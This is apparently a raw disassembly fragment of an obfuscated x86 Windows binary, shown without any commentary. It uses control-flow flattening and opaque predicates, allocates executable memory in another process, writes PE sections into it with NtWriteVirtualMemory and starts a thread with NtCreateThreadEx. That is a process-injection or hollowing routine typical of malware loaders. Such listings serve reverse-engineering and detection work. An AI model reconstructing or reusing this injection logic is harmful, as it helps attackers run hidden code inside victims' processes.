mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0x7c7626f8
jmp 0x100070bd
mov dword [ebp - 0x154], 0x9d11977d
jmp 0x100070bd
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x154], 0x5e342588
jmp 0x100070bd
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x154], 0xdf106a93
jmp 0x100070bd
mov ecx, dword [0x100f5338]
mov eax, dword [0x100f5334]
mov edx, ecx
sub edx, 0x8371b8b3
sub edx, 1
add edx, 0x8371b8b3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa505d721
mov ecx, 0x20faf6e8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov ecx, dword [0x100f5338]
mov eax, dword [0x100f5334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfe2c2a45
mov ecx, 0xea56b745
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov dword [ebp - 0x154], 0xdc73dd72
jmp 0x100070bd
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10007940
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10003590
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x13c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x128]
mov eax, dword [ebp - 0x124]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x154], 0x73176bea
jmp 0x100070bd
mov eax, dword [ebp - 0x128]
mov dword [eax], 0
mov eax, dword [ebp - 0x13c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x128]
mov eax, dword [ebp - 0x124]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x154], 0x333e20c8
jmp 0x100070bd
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax]
add ecx, 0x92493afd
add ecx, 1
sub ecx, 0x92493afd
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0x4cf70642
jmp 0x100070bd
mov eax, dword [ebp - 0x108]
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x154], 0x95bb2e50
jmp 0x100070bd
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x108]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x14c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x118]
mov edx, dword [edx]
mov esi, dword [ebp - 0x108]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0x14]
sub ecx, 0xd9992904
add ecx, edx
add ecx, 0xd9992904
mov edx, dword [ebp - 0x128]
mov edx, dword [edx]
mov esi, dword [ebp - 0x118]
mov esi, dword [esi]
mov edi, dword [ebp - 0x108]
imul edi, dword [edi], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
sub edx, 0xdc9d21f3
add edx, esi
add edx, 0xdc9d21f3
mov esi, dword [ebp - 0x13c]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x144]
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x154], 0x378d5d62
jmp 0x100070bd
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x154], 0xf5fd07fa
jmp 0x100070bd
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x154], 0xaafb22cf
jmp 0x100070bd
mov dword [ebp - 0x154], 0x6295c444
jmp 0x100070bd
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x154], 0x20faf6e8
jmp 0x100070bd
jmp 0x10003dcf